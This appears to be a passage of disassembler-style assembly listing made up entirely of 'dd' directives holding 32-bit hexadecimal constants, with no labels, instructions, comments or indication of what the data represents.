		dd 0CB5A0D85h, 0C6E95FE9h, 6EE911D8h, 0B19D365Eh, 0A254EFEDh
		dd 0E50681AAh, 0F0412EDFh, 1AD5C685h, 9F28E8F5h, 0D261071Fh
		dd 0DC2DA467h, 0A54CB751h, 0E27FF486h, 0BD70CE9h, 1B9ED5E4h
		dd 9F54C3FEh, 76EEFAB7h, 4831F459h, 0C7741DCBh,	0DAFBE968h
		dd 0D08028DCh, 5B18932Dh, 95159813h, 0E90587F6h, 348D174Ch
		dd 80D2252Fh, 0FA18CAF0h, 0F2816B0Eh, 7541C0A0h, 24FBB850h
		dd 16702709h, 134CADA3h, 0C3B36672h, 23F4BF00h,	0F0BD227Fh
		dd 22310BCBh, 0F62F61ABh, 7E857A0Bh, 905DAB23h,	6613BA69h
		dd 0CBD347AEh, 68517159h, 348C2E1Bh, 0E51049E9h, 4B64E64Ah
		dd 4FEF6EE4h, 0DF6CBE70h, 0A117D3BEh, 3E125078h, 0B0BF79A7h
		dd 0B5DB10D7h, 0ED81D45Ch, 4FD42C8Fh, 7431CDD9h, 88EC043Ah
		dd 0F9BE0082h, 0B166A21Bh, 92762FD5h, 9174EE84h, 81EE68C5h
		dd 2B1A7BDh, 0B222C0F6h, 29588006h, 87BF3097h, 0C8FE9514h
		dd 98649C2h, 163DA0D9h,	7F206DB0h, 7BCC6ED6h, 0E19F2709h
		dd 52BBD790h, 0AFDA0C3Eh, 521D7021h, 330F0FF9h,	49DFCF15h
		dd 0E477A2F6h, 20972413h, 0AE3C44F3h, 2F082FC7h, 47B78CCCh
		dd 0FF303199h, 38EA2AC2h, 1E540F32h, 0C20968C5h, 0F10BDA77h
		dd 0EEC14135h, 971F7102h, 9CAA5BD5h, 9BAC5922h,	0E898E913h
		dd 0E8158DABh, 0AD9B2A19h, 0A4C1AC13h, 8D7BEF68h, 0AFE66F50h
		dd 71E9DE04h, 2464A436h, 5873741Eh, 4C8C5EC9h, 141B385Ch
		dd 4734FF4Fh, 803DD4EBh, 7B1CE6B3h, 10AF104Eh, 0C670895h
		dd 72B0D056h, 59B575Eh,	17D4988h, 760E7BBBh, 0E5AC6A29h
		dd 0E9FF5B30h, 0DEEDDAA8h, 7A44D157h, 8540CE02h, 0A7BCE4F1h
		dd 4E4D5015h, 0E1DEB854h, 42022065h, 28FCE61h, 280F429h
		dd 7A659F2h, 0E077DD42h, 826F2852h, 50FB8257h, 0E781008Eh
		dd 3B257708h, 0B9E1FE60h, 4FB433A8h, 10BEACB1h,	0F4C8848h
		dd 7F298018h, 43C07382h, 5D1B7CEFh, 7C6A971Eh, 57580802h
		dd 5002CC57h, 9DF4FF5Fh, 0C77DEE09h, 0A5E96279h, 801D70DCh
		dd 590EF197h, 7CC1C6E1h, 410FA012h, 827A940Eh, 60B16ABBh
		dd 241BF760h, 21672126h, 0A001326h, 0E945FA19h,	0BC7C5747h
		dd 4461163Eh, 3C595A66h, 23AB3C1h, 9EE050Dh, 0F96A10ABh
		dd 0ECA1070Eh, 87631536h, 7A52E9F7h, 0F2B4F50Bh, 8A87E912h
		dd 4AB7B4C8h, 0F1E8BBh,	0F2B35351h, 171AE380h, 57B439E9h
		dd 788F971h, 86B06185h,	0BCAE2FE4h, 2A8F4F5Eh, 68E0014Ch
		dd 96912F08h, 3B0990A0h, 7859316Ah, 0F7810317h,	38D43F70h
		dd 37957204h, 5C816EC6h, 0C2049DD9h, 0E8774B24h, 0AB704487h
		dd 0FDE2C267h, 98F77248h, 424F1313h, 5901CDECh,	1213B14h
		dd 86F700D7h, 99072F88h, 90027D0Bh, 5E048077h, 0A2EE86AAh
		dd 6746031Fh, 0BC829C9h, 2D55C157h, 41EE6CC1h, 0F86CED61h
		dd 4F1EFC4Fh, 415068B9h, 0A21C4AF7h, 0D80CDFE0h, 96D6D640h
		dd 0EFBC27D3h, 26D166A0h, 0C05D209Dh, 0C204D73Ch, 7244170Ch
		dd 87D23B60h, 0F42F5A81h, 792D2874h, 0E4325DD0h, 5585B17Dh
		dd 0BC4E0837h, 24E389BFh, 39F95B50h, 0C51C4280h, 589D293Ch
		dd 0F6A02ACFh, 2E7F98BAh, 3D2D3D0Bh, 0A6A4AD3Ah, 0C49C167Eh
		dd 0EEE2AAD9h, 0D444AE92h, 68AB4379h, 8626E901h, 5AF77DCh
		dd 944BC4CDh, 886FCEBh,	5D25A80Dh, 0A3B06B3Eh, 0D15B9BBAh
		dd 0FE4E60ECh, 9F681361h, 0C071F82Fh, 462154D8h, 0E8E32DE9h
		dd 0D4C24613h, 0BA3989DFh, 8968774Bh, 152E4EDFh, 0AE02B060h
		dd 0F5820B3Eh, 3F698960h, 148CB3DDh, 0FAD87B0Ah, 37B963Eh
		dd 880FA9BEh, 81E42215h, 0D6838498h, 550E40F3h,	255C9168h
		dd 4D21967Fh, 0CBC42E5Dh, 24FE131Ch, 9985BFB1h,	0D968B6C0h
		dd 322BDA4Ah, 0F3612B3Ah, 0B91889AAh, 283C402h,	281E12F1h
		dd 0ABC0CD29h, 4E041A56h, 0A75BE91Fh, 4253F5BFh, 0F8D080A6h
		dd 553969Eh, 0FE697CCEh, 0C5D4B262h, 38E8A237h,	27A1269Eh
		dd 6F4E4656h, 2D4245D3h, 558529BDh, 0C521E834h,	6D540B22h
		dd 7A5F04F7h, 5EF14484h, 0F5D1A9D2h, 52E828E0h,	0DF20B23Ah
		dd 590E66A8h, 1D1FC304h, 0D1253B2Ch, 7E9571CCh,	13B1C30Ah
		dd 8003FA7Dh, 0B450ADF1h, 1FF4B151h, 0A11DE4E4h, 32A52CECh
		dd 0FFE9CEFEh, 0C7FF5409h, 31D1ADE3h, 906BA0BBh, 787709A2h
		dd 870B3D91h, 0B0261345h, 67CD8516h, 407DE13Fh,	0E3448D57h
		dd 0FD054805h, 583AA58h, 9D8EB9D8h, 0B6FA3F9h, 90DD55FFh
		dd 13AE68B7h, 0AE7A6D15h, 0D1075002h, 7275C109h, 8EC18301h
		dd 641BF196h, 84BA6A23h, 0D4C8A8F6h, 10DB001Ah,	0B3BE25CDh
		dd 4D8F2D08h, 0F7898482h, 41743C42h, 0AF3D1B21h, 550522Ah
		dd 9E72E368h, 92A05F77h, 5EC841Ch, 0C202B693h, 69DC7664h
		dd 0D7B9EF62h, 53681C98h, 0DD3B53h, 0CEB4D9B5h,	0B52EA3E9h
		dd 0C64AC914h, 0F7CC30EBh, 8C4968F9h, 8FE90B41h, 0A763F1F2h
		dd 0B1028445h, 0C4C82870h, 0C3BC71E5h, 0EB295B32h, 4EC859C2h
		dd 7D953433h, 6B20CE96h, 681DC26Ah, 0BE7922BBh,	5702EB20h
		dd 0CF45DABFh, 0CAD1C025h, 5EAD2D6Dh, 0D6407B6Ah, 6182693Eh
		dd 0FF10F5B4h, 61258724h, 5FE65DC3h, 4D9D6815h,	0F9F05E32h
		dd 698A2466h, 1D6B10C0h, 0CBFCF329h, 0DAAF6416h, 0FE9161Ah
		dd 0F9B6FBC0h, 32F07930h, 951267E1h, 65DA4A40h,	5632900h
		dd 22C87E9Eh, 3F6C3A35h, 0F8255180h, 0E93CEE46h, 4B49B449h
		dd 0F27EF7E8h, 2D2596FEh, 0FBD18554h, 800E2968h, 0C56BD7F5h
		dd 59E8A680h, 452C685Bh, 0D7E95004h, 9BABDB30h,	0C93B7E9Fh
		dd 40CF9AE9h, 0B6525EA7h, 0A90C946Eh, 9804F828h, 6E8B5967h
		dd 28FEB12Dh, 0DFD08A09h, 10063206h, 0CC884512h, 71F40100h
		dd 0B066DCF6h, 8A75ED0Ah, 7BB5F17Ah, 1857842Ch,	0E36A8D68h
		dd 0D682F018h, 0FCE10EFCh, 6445C966h, 0CB253370h, 825ADC59h
		dd 54515008h, 33946BCEh, 2902E9C2h, 0B41116F7h,	0BA22A71Ah
		dd 59016E18h, 0E83FD3F7h, 61EAA42Ch, 0F002AB61h, 0DF25E972h
		dd 0D0595E46h, 0D6C2BD2Bh, 81D78658h, 0F6D3888Dh, 0C3DAA3CBh
		dd 0C6FFD55Bh, 0FD67065Dh, 0FAE7EF20h, 7C670BD9h, 0E92D5E19h
		dd 0AAAE7D53h, 962574EBh, 9B30F52h, 5F0B970Eh, 32D2055h
		dd 162EDB3Bh, 0A3F22CE9h, 7E660BC5h, 0F8B75E2h,	9A5D624Ah
		dd 9E4561A6h, 17B11DFCh, 8B5D96E9h, 22164C3Ah, 7700B56Ch
		dd 42A258F4h, 53F49590h, 500F3F25h, 1AE9161Fh, 308ABBDDh
		dd 8EE95081h, 0DDF87AC1h, 0CC80EB81h, 303D21FAh, 84B08B54h
		dd 0CBBAF34Ah, 7F91291h, 4D508ED0h, 81391DA1h, 523046F5h
		dd 76179E62h, 8309C09Dh, 27027ED5h, 84FCDF14h, 0BB102760h
		dd 7AB82E38h, 5F1356Ah,	932C215Fh, 0EBF624F7h, 0DBF6031Bh
		dd 3726E104h, 1CF35B89h, 747585h, 55195FECh, 6C962978h
		dd 4B930820h, 9F10116h,	19868E2Eh, 0C35BA372h, 4804A82Bh
		dd 3F95FAEh, 169FED5Fh
		dd 0A2FCFD7Fh, 4706FA1h, 3CE2F302h, 8B898041h, 9732C008h
		dd 642DFEE0h, 2B920602h, 8905D029h, 89207107h, 147DE0D3h
		dd 2A56D4DEh, 0F66B896h, 0C0D0BA52h, 0EA816C8Ah, 54D43B30h
		dd 80B0E45Ah, 2A751990h, 6806AD0Bh, 2D3E8530h, 1168071Dh
		dd 7A5E1DFCh, 58A0E830h, 0A4D6C435h, 5A62FBCDh,	0AC747C89h
		dd 2D6C1033h, 25A55829h, 4E5FF605h, 72CB5965h, 8CDC282Ch
		dd 5E100166h, 0D87829EAh, 32BD0512h, 6FC945B8h,	258D1B6Dh
		dd 4A7A0A7Eh, 828DC4E0h, 0F968D3B3h, 9CA579D5h,	58E309F3h
		dd 4FE96C30h, 43F4434Bh, 75ADBAFFh, 0B3FB4B68h,	2AC441C1h
		dd 311788CFh, 30C8209Ah, 6748EA50h, 0ED50A8Fh, 243EFAA1h
		dd 3700135Dh, 0E9932D44h, 0EA9DD798h, 8A7E3CD1h, 4FC24795h
		dd 93A89618h, 0ED9C1C99h, 0CFFED060h, 0B9A25E9h, 6C64E4E9h
		dd 0DEC12603h, 89C5273Fh, 403C75FEh, 0BF82EE4Bh, 0C6297FBFh
		dd 6C02EB7Ah, 292DF81Fh, 0B92087Ch, 6DE83187h, 0B5C0B8DFh
		dd 17054AE5h, 213B816h,	3E1F302Dh, 6E57F531h, 4F72BD08h
		dd 72BD0990h, 8F88815Bh, 89B29F79h, 912593A2h, 0BB9C5F04h
		dd 25429F4Eh, 0E97070D6h, 61776036h, 0A42FD0C5h, 904B617Bh
		dd 0C8014AC0h, 7DF4122Dh, 93ED1CD1h, 0ABDABEB9h, 7310CF4Ch
		dd 7CF84AAEh, 54AB1517h, 725122Fh, 0D8494756h, 0E7D99536h
		dd 640EE9C2h, 0EBF20222h, 2D1ED2CCh, 0A0B1AE77h, 2105521Fh
		dd 0FED04801h, 24200845h, 0D7352FE9h, 0E540A791h, 0A9D22B1Fh
		dd 0B977F14h, 5B6AD83Fh, 13E675BEh, 133EF968h, 7DF0B5E9h
		dd 9C7B5C2Ch, 315E244Ch, 0EE6858B3h, 71C29BF4h,	80FF0984h
		dd 0D22B3E3h, 510BBD5Ch, 3A3BE27Ch, 0ED7515F9h,	3C0B4C83h
		dd 1201354h, 84008A8h, 0A22C4F8Bh, 407A9ACAh, 2C2254CEh
		dd 3CD3351h, 31A801E2h,	835FFEF8h, 0E92FFCB8h, 5DA3E2FBh
		dd 5BA539FBh, 0B055A75Eh, 9F64AE1Dh, 24A02E4Eh,	342D2BA2h
		dd 0ED37E170h, 0D58E0845h, 47E95604h, 3350084h,	5A22A57Ah
		dd 803BED89h, 11EACE81h, 6876AFh, 74479EE6h, 0CB9DE918h
		dd 0A15384CFh, 3F406E85h, 56786B21h, 0CD8FF44Eh, 0B241A139h
		dd 0DF399009h, 0CF60F262h, 1D764AFAh, 69F2B0A1h, 2D5F0168h
		dd 1A3A6487h, 0C4421861h, 839979BCh, 1E7A41CBh,	5A964EFh
		dd 0F3523668h, 17B9808h, 783F31BBh, 85647864h, 0B000558h
		dd 7AEB815Eh, 37E32770h, 880C05Ah, 0D76611E9h, 0C2ACB95h
		dd 27807E9Dh, 542F520Ch, 7F52EA3Bh, 44E52C51h, 0BD02C8FCh
		dd 64BEA893h, 164A9084h, 35B1F6F8h, 0D6F70165h,	2E30D671h
		dd 4BD0261Fh, 11CC0553h, 1B02EAA2h, 7FF88340h, 0D9B3580Eh
		dd 143AED3Ah, 0E9C207B8h, 0CFD99904h, 4E16EC43h, 8F8BE891h
		dd 63A68551h, 55A53CEFh, 27D071B5h, 2E983F78h, 0A850FF05h
		dd 0F501455Fh, 3AE73CD3h, 23140E00h, 8018796Eh,	315291E9h
		dd 38D898EBh, 9570AED0h, 96E796FFh, 3FEA098Dh, 98C79EF5h
		dd 9D552732h, 1B889BF9h, 0AC762F40h, 7084425h, 0B551FFC6h
		dd 7AE56013h, 0FC3BB450h, 0F466228h, 5D987547h,	0C93E6D67h
		dd 0D8E5A506h, 0A1EDB7DFh, 0D5FCC48Bh, 39F55EE4h, 62D58496h
		dd 48D2F706h, 0C768840Ch, 2EA1188h, 63CAB57Dh, 9C70D189h
		dd 452016F0h, 2680385Fh, 17E24A26h, 0A1D7B8A9h,	0F73F8D1Bh
		dd 51207B09h, 0F1311D20h, 4560E55Eh, 2AE44E5Dh,	7170897h
		dd 6276E90Bh, 0D6F9FF9Ah, 18F5788h, 1AD982BBh, 0C5B13E0Ah
		dd 0BF5EF3CCh, 0F62FF55Bh, 0E781002Dh, 408C1A97h, 8BCC0997h
		dd 51B784Dh, 241594BEh,	69B6807Fh, 58B51904h, 906F4AE7h
		dd 0E13A9DE0h, 992D747Bh, 5B554621h, 0BAC58579h, 8BFEAFD5h
		dd 20BA4E3Dh, 69F0E9F9h, 6CE22CA0h, 0F6594030h,	5BE053E8h
		dd 7535BC0Dh, 0E3F42541h, 0BE143CF3h, 31DA84Fh,	175BD6CBh
		dd 0DFD0F722h, 9FC2E1ABh, 94806A0Bh, 3DB65009h,	2B4EE97Bh
		dd 0CBF81461h, 515B223Eh, 21D8EB80h, 60B97CCCh,	1EB25F12h
		dd 1278D910h, 24BE885Ah, 2B90F144h, 5CC23DB3h, 83FDD830h
		dd 8457DE6Eh, 0D06BF6FFh, 13F0424Fh, 0FE36E07h,	0B47AAE1Ah
		dd 9CDB6357h, 41E02CB0h, 0E28880BCh, 51326743h,	3680050h
		dd 58413E65h, 5B9DC201h, 6DB43034h, 0B5C3C23h, 8E730E27h
		dd 4C2328Ch, 38CD640h, 3C2D06E0h, 2B69F1A9h, 5CD122AAh
		dd 3D782DC1h, 0E7683F8h, 64BAE8DDh, 0E810058Eh,	0AC5EF229h
		dd 4AC79C86h, 63A6E957h, 5AD195B6h, 85C8DD6Bh, 1806108h
		dd 0DB04BDE8h, 0BB61FB53h, 228060F7h, 30F56856h, 0E2F67755h
		dd 6FAC57E7h, 0E334EFF3h, 88B7D956h, 0A4ABE9C2h, 0D4E18100h
		dd 53CC3B2Bh, 98CC903h,	0C09075Dh, 0F5238Fh, 0FB9F1ABh
		dd 555432B2h, 0BC549DB6h, 0C702F6F0h, 7515C617h, 5EA2AD80h
		dd 0A43853E1h, 0B86B2A7h, 0F38172DEh, 0D4C54798h, 5620E03Fh
		dd 43247B5Fh, 0B475BCBEh, 0E981A0FBh, 71A88B2Fh, 37EE0B7Eh
		dd 0FD62075Ch, 87375CE2h, 0A495CA45h, 5015B127h, 49D6350Fh
		dd 77052825h, 0A0464868h, 0C4BFDBFEh, 1B538C0h,	5966EA0Fh
		dd 0D178E46Bh, 0DBA85C9Fh, 3C36A5Eh, 11D6B154h,	9CE22274h
		dd 0E3DD6935h, 0BAF9541h, 0E80BCAF8h, 0F62D7F74h, 0BDEEA0Dh
		dd 265AD04Dh, 6B60AB31h, 0B0534DAh, 0B678C5A2h,	0DF170B97h
		dd 0D49DD49Eh, 6866C0C7h, 779E7858h, 1DB65281h,	0E02A35B5h
		dd 0B44BE982h, 5C51C8EEh, 2F55C7BDh, 1B5951DEh,	77587C34h
		dd 26BFF48h, 8FF48033h,	0AE9D9F43h, 0E90C119Bh,	0EE33FBD7h
		dd 5B1F7B48h, 0D9FB7B17h, 81832EA7h, 30AEE483h,	9512F67Ah
		dd 0CCFC7AFAh, 2C6A8397h, 0C53EB90Fh, 0AB922C78h, 2A682FB4h
		dd 20AD06FAh, 709F9342h, 0AEDA4B76h, 780E955Bh,	3360FB16h
		dd 63509598h, 7A477097h, 0FF129DBBh, 5667F940h,	517BB300h
		dd 0EEDDF5B9h, 0E91EC4F2h, 0CF52FE3Ah, 451638ACh, 5E913442h
		dd 6AF3CBE0h, 2018C45Dh, 5F5D5EE0h, 1E620755h, 0B6D27CBEh
		dd 6263D692h, 0EE208F40h, 0B8BB15ACh, 0F1442A44h, 6DC53CABh
		dd 0E18D9F15h, 3863F203h, 0C042C6Ah, 64890A8Bh,	437B4000h
		dd 0D29F2177h, 6AE009BBh, 0E40012A1h, 9DA7D1ECh, 0BAA2EFFh
		dd 65575128h, 0CEE9C2EDh, 800E045Ch, 0A30337E6h, 4DF58898h
		dd 0D10A1EFAh, 5A057E0h, 817C7279h, 3041D99Fh, 0F612355Ah
		dd 0B8E0B68Fh, 33F84B09h, 35A0255Ah, 5E44148h, 0F7CA820Dh
		dd 3AF8C0BEh, 63E297A0h, 563BA458h, 88B89351h, 31E21327h
		dd 8DF9F59Dh, 0E1AFCA29h, 1B7056D5h, 8E209D27h,	5EBF2FFAh
		dd 27009BFh, 0DF9CA8A4h, 0DF2F2745h, 7092759Eh,	61077997h
		dd 2A58F868h, 55E0DFCDh, 0BC535F38h, 56BB5ACFh,	6FCEAEFEh
		dd 6BE95306h, 0B9020C7Dh, 3AAB60BFh, 1E464031h,	0C392B52Eh
		dd 74013940h, 0FE8B8194h, 0FEAA6610h, 0C804B5A4h, 321C151h
		dd 7E8F7961h, 4E383B25h, 0E941FD29h, 0FC05867Dh, 3F600406h
		dd 50AA5457h, 1C610815h, 410E5D6Dh, 16F94C9h, 0A36A5958h
		dd 0CCFED28Fh, 0DB38683Dh, 0C8AC5F20h, 42D8ABD6h, 0CA569F5Bh
		dd 7045F813h, 4AA9FB6h,	0BFEE9C2Eh, 0FAE552ACh,	44FE8E57h
		dd 0B545EA06h, 726BDCAAh, 689D1897h, 27764A94h,	0B91887FBh
		dd 5F443E71h, 3E0368C0h, 684F58D1h, 0EBB3844Ah,	0E36B372Dh
		dd 1BF2D87h, 33C78077h,	0BB08BEE0h, 67923C67h, 0C2E2BA8Ch
		dd 0FF5192DFh, 0B245022Ch, 1E4597ADh, 5CBF802Ah, 1FA9DB96h
		dd 43169271h, 9C4CF0ACh
		dd 0E7985020h, 3C22BB13h, 84DEA709h, 0B7035CF1h, 0BFBDF60Dh
		dd 50CF51C1h, 0F6BEFCDh, 0C26BDAA8h, 0D041827Fh, 0E36340E2h
		dd 599A835Ah, 482C8577h, 0F28058D1h, 1C3D8D41h,	27BE6354h
		dd 0B193D559h, 71E42B30h, 7FBF4257h, 7776A727h,	6CE1D610h
		dd 0FBB592A8h, 794A9A98h, 0BB0CA281h, 9E5FC730h, 852D9D2Eh
		dd 0C278F94Dh, 66049067h, 499F07B9h, 682BEFB7h,	548EC67Fh
		dd 4FB443BBh, 0B2A24439h, 0BB64BF8Ah, 85651DC3h, 5EB7DEFBh
		dd 0C72C3EECh, 7F68898Bh, 0BD60EC54h, 5FDC1683h, 6E52EB0Dh
		dd 9B90030Ah, 0F1F03062h, 160EACD0h, 85C70EB0h,	0A0F2C36Fh
		dd 6EEBEBFAh, 1F3D060Eh, 7F7C9628h, 0F6C0E502h,	0F797E9DDh
		dd 0ECA84B71h, 577E422Fh, 8CFC0016h, 0B9449F5Bh, 0E912A22Fh
		dd 3FF1046Bh, 5B8118A8h, 48F17925h, 18AF4720h, 0C1C6B2Bh
		dd 772C399Ch, 640F1152h, 800C6F69h, 0FA3DABC9h,	8524C060h
		dd 296D2070h, 1A59CA2Dh, 9A31844Ah, 0F205FDD5h,	0F3EBBC7Fh
		dd 0F70969FFh, 1E6AFE2Bh, 9C0EEB7Dh, 0A2B50CECh, 4A0192EEh
		dd 56F07233h, 2ED8030h,	0E94BAF45h, 42544A21h, 575AE5C2h
		dd 20B4459h, 0EBE2C803h, 0F7799F3Fh, 16645F08h,	0BA5B5656h
		dd 0FC9B2806h, 0F3DA9F40h, 0F0EACFEFh, 0C124B8C1h, 84EC45FEh
		dd 0E9FB2870h, 3CE78134h, 47601CFAh, 0C26BF344h, 717D5C17h
		dd 7125C361h, 32FFC31Eh, 985A850Bh, 1668BA4Eh, 0F779947h
		dd 4B249A7Eh, 0F794AF02h, 98E90805h, 0C76B49EBh, 5E8CC07Dh
		dd 7FF4C856h, 11704428h, 0B450D30Fh, 0F2F404E3h, 0BF6D12AEh
		dd 27687BB4h, 0F29E7DCBh, 0FD537F96h, 4BFFCFABh, 276B9CBAh
		dd 9A01CB4Ch, 81DD27B2h, 3F2991B0h, 0B6E09D34h,	0E25AE8BAh
		dd 7B0443B9h, 0A601E52h, 3C28072Dh, 0B8400097h,	5A7830CAh
		dd 4F6DBC15h, 662F4FA8h, 0F1801B01h, 0A2052E7Bh, 0AD82ECD0h
		dd 5F584A6Eh, 0CDA4A6D3h, 0D4B97C42h, 3DEE815Eh, 404F45F3h
		dd 80367FB9h, 11BA964Eh, 0BC0490AAh, 0A088F19h,	0F92707EAh
		dd 78290C6Eh, 7AFF2150h, 2D59BBA4h, 0FC7C22A1h,	909F587Ah
		dd 25151CB9h, 13B6E429h, 0EA31BBEFh, 0FDE8525Bh, 4B22B93Fh
		dd 28008845h, 2C5A66D7h, 2F8EC94h, 0C06AB353h, 486102EBh
		dd 2435309Bh, 2F3A644h,	88D6CDE5h, 0C480DA89h, 128C56C2h
		dd 50D0012Ch, 0DD0C7100h, 0ECE812Ch, 16EB3BB5h,	471CE6C1h
		dd 0D17B2178h, 0C05B0FDAh, 21B41AA9h, 15F2E915h, 0B7CC9661h
		dd 17D25A31h, 0C1ADE2A5h, 3085624Dh, 288A2420h,	24E60C03h
		dd 16E608E3h, 3EAAC905h, 9A3EE4E1h, 44604855h, 0F70905FCh
		dd 8FB15875h, 708689A6h, 68AD09F8h, 2E460B7Eh, 0AF6A7D01h
		dd 6C59E943h, 0B65F377Ah, 0C505D90Eh, 8D805D8Bh, 6FC3A1AEh
		dd 5A210086h, 2DB5BD2Dh, 0BFC25E05h, 590EBCA7h,	0AA58D2BFh
		dd 2201B075h, 11A13C51h, 3839B17Eh, 49E90829h, 98680735h
		dd 0C5F70B77h, 4C55A5F7h, 90D89FA0h, 0E6ADE95Bh, 1708FE5Ah
		dd 4313599h, 0B2B5541h,	0E94ADD50h, 0B6136A7Ch,	0CB55DF0h
		dd 0A8CD807Ah, 0FE765E06h, 21B62BFEh, 0F364227h, 2263C089h
		dd 95EE8943h, 0B6A23EFFh, 6E745A4Ah, 0A558E90Bh, 0C0FB5AEEh
		dd 0D130056Fh, 0FDC0E1EDh, 3F84C903h, 0B3EFD412h, 0A3ACD245h
		dd 0CEE950A0h, 25BE76B5h, 4620A358h, 4B51604Eh,	20514D4h
		dd 0ED515D78h, 7CBE2E07h, 7C5D3AC3h, 42331036h,	1E3C4EDFh
		dd 889FE12h, 7626B028h,	48BD8397h, 0A4BFED5Ah, 3099F10Ch
		dd 6658F445h, 7002C946h, 0AA284E67h, 9343F24Eh,	0DB852DFAh
		dd 16DCF5F3h, 6CBD09AAh, 3FF84F58h, 310A5762h, 9FB2F5FEh
		dd 834736A6h, 0D30231B0h, 2118CE0Eh, 8C87FFCDh,	0C1AA450Ch
		dd 1D14F0Ch, 3A3078B3h,	4A22F407h, 12A3A6D4h, 0A0368E97h
		dd 0BDF49FBCh, 45C9261Fh, 4C6C205Ch, 0B63F847Ch, 9D2550ADh
		dd 0FC417425h, 44D5005Bh, 0EAD1698Ch, 4EF28702h, 0D16506E9h
		dd 5F138B80h, 0DDB63A9Eh, 0D5E5790Ah, 0DF506AA7h, 7B579ECAh
		dd 2546239Ah, 0C8666EF7h, 2D1756E2h, 8B3197EDh,	57097489h
		dd 4FFE823Eh, 752F07F1h, 0D3063A99h, 3AAE8B10h,	6587B50h
		dd 0FE2CCA80h, 0F2EE04C2h, 1F28D224h, 13F1508h,	2564092Dh
		dd 0B1FC3E72h, 97763725h, 2EEF373h, 58DDB867h, 5C411E9Fh
		dd 82D16AA0h, 5BE55502h, 0A27B122Ah, 0DBD2DF6Ch, 5A5C0E81h
		dd 2637B67Eh, 0F78BA97Bh, 918ED5DFh, 0E56A45B7h, 0FF80166Ah
		dd 5EF526C0h, 0BD924968h, 0E90F614Eh, 5EF76C31h, 1E1F47BBh
		dd 6F3AF718h, 6FC78E20h, 0CF5C315Fh, 3AF92539h,	0C09C42A4h
		dd 0C4A77618h, 0C406EDDBh, 587DF084h, 0D9245D7Fh, 5B654DC2h
		dd 702CF72Ch, 66D0077Ah, 4C1F2368h, 19D2B2EBh, 964CE2ABh
		dd 63204089h, 12AD693h,	3016C1D4h, 0C2C7ACFh, 8AE04B2Ah
		dd 56DA5038h, 252B0C58h, 85986279h, 0C1934DD0h,	56D3D789h
		dd 0EE465B1Ah, 5FB89D68h, 0FDF53114h, 5F2C017Fh, 0E9042620h
		dd 25706BC9h, 58E970DFh, 0B3A7DE1Fh, 3600B268h,	0C3602FB8h
		dd 4FC7316Dh, 47B5E058h, 0DF02F9A2h, 0DF5A7C3Fh, 5EBB492Dh
		dd 6855A86h, 5E91E29Ch,	58A692D8h, 71814806h, 6F2D6313h
		dd 0B5F15A35h, 4C0D47Bh, 0C6348Ah, 0BA55E2BDh, 57524C21h
		dd 1168C005h, 82FE0812h, 0DDF58001h, 9857EB28h,	68ADCDD2h
		dd 88197007h, 499DF5DAh, 26725E4Bh, 32886809h, 71626B5Eh
		dd 68A65648h, 58581470h, 0FCC6E982h, 6BAF597Fh,	5AEDECDFh
		dd 47313DDh, 2351F06h, 65EDD14Dh, 4CBA9F67h, 9E620927h
		dd 9B95D40h, 34D0478Bh,	6215D77Eh, 51CE02E5h, 80739906h
		dd 0C04B6BC4h, 5E0CC142h, 7A5C6550h, 0B19B3F02h, 0B5E6E0A4h
		dd 121A252Bh, 8A04376h,	0EF806F92h, 70837718h, 9DAA60ACh
		dd 33EF80E7h, 7EB6521Fh, 539EF649h, 90ADBD14h, 0BB92D789h
		dd 0CB8482C4h, 4BBD9820h, 2C4FC29h, 27253BC1h, 6572F74Bh
		dd 28E211D6h, 0E9029C92h, 0F289CA98h, 1A306F5Fh, 5C5A5952h
		dd 0AA21EC92h, 487B7302h, 4F16E34Ch, 2198D22Fh,	0EF4FCCD4h
		dd 0B5407075h, 0BAAD4ADEh, 0AC4B038Fh, 5E19010Bh, 32E96BC4h
		dd 95B90824h, 939032F2h, 7A53E309h, 2FA5D64h, 7213F19Fh
		dd 687968DDh, 32314F44h, 0E9220187h, 0BFD578D2h, 8739B776h
		dd 613B04A0h, 2C56F366h, 12C94033h, 44F3EF9Ah, 60234C80h
		dd 6A85111h, 33C28EE9h,	467E6E68h, 0BDB07887h, 0C4E9DEE0h
		dd 0D6A0419Ah, 0F995E110h, 0C921C440h, 8E12A6F8h, 39A1E904h
		dd 6708DCFBh, 0F00E24EBh, 0D8DBB0B5h, 6C7E95C9h, 0C60BD258h
		dd 2452BF0Bh, 0C93EFE97h, 50A7A077h, 28486856h,	2AF3E527h
		dd 986B86F0h, 0B27340D0h, 71C0CEC4h, 542B89BEh,	4851A846h
		dd 76094FFFh, 9BE6575Dh, 8740B2B0h, 58192D68h, 5AC58994h
		dd 0AC446D78h, 54326AB3h, 306AB079h, 8E670B01h,	7E305620h
		dd 842B17CFh, 0ABD0BF07h, 0E5E04A72h, 879C8DBh,	0D14D5947h
		dd 77E10F78h, 0C7C05240h, 286FF3Ah, 1290D7B2h, 0E151380Bh
		dd 0D656042Bh, 3E560412h, 815D007Fh, 5CA004F2h,	0D62A7A9Bh
		dd 7DE910EEh, 545C1744h, 3BE1BCECh, 51B87FAEh, 49BD55B0h
		dd 16511913h, 242E02EEh, 0DB001DECh, 121FFD3Dh,	0FA5DEE01h
		dd 5DE91798h, 0BA2F6AA9h, 22D0A52Bh, 6EF43F31h,	50307EB5h
		dd 0D6F60D6Eh, 3008CEFEh, 5782B2B4h, 1D5175C0h,	6DFC0876h
		dd 90E4C205h, 0CE04F789h, 0F16E013h, 7209082Dh,	0B1D905A9h
		dd 4B5C6804h, 0E916C4F9h
		dd 6056A140h, 799FEE7Fh, 655FEBBFh, 8B45CAC0h, 7E94830Ch
		dd 6959517Ch, 4C0B4B53h, 947EDE89h, 7407F503h, 6E01CF7Eh
		dd 0F94E6461h, 68032065h, 9846B92Dh, 0E0919792h, 0BB295F9Ah
		dd 512A253h, 12098AEAh,	5BF9577Eh, 0AF1E7DBh, 0D9032566h
		dd 0DB0975A3h, 0C087242Ch, 5693CD26h, 3CB647ADh, 1ABD9B7Ah
		dd 38D955BBh, 928EF16Bh, 3A85BA68h, 69A0D516h, 215B38BEh
		dd 4B724125h, 749950E0h, 5A5291ADh, 9F5E7E60h, 0C1473C1Ah
		dd 672157ADh, 235B7C68h, 895C49D7h, 9E950A2h, 51A684Eh
		dd 0FEF0DBC6h, 0F47EE027h, 97E91D86h, 0C1C22952h, 2F376E8h
		dd 807CB551h, 986E63EBh, 0C04341E9h, 4B8CF237h,	27904409h
		dd 0A056DA97h, 0D7BFD27h, 0D501739Ah, 0E908001Ch, 68B5B491h
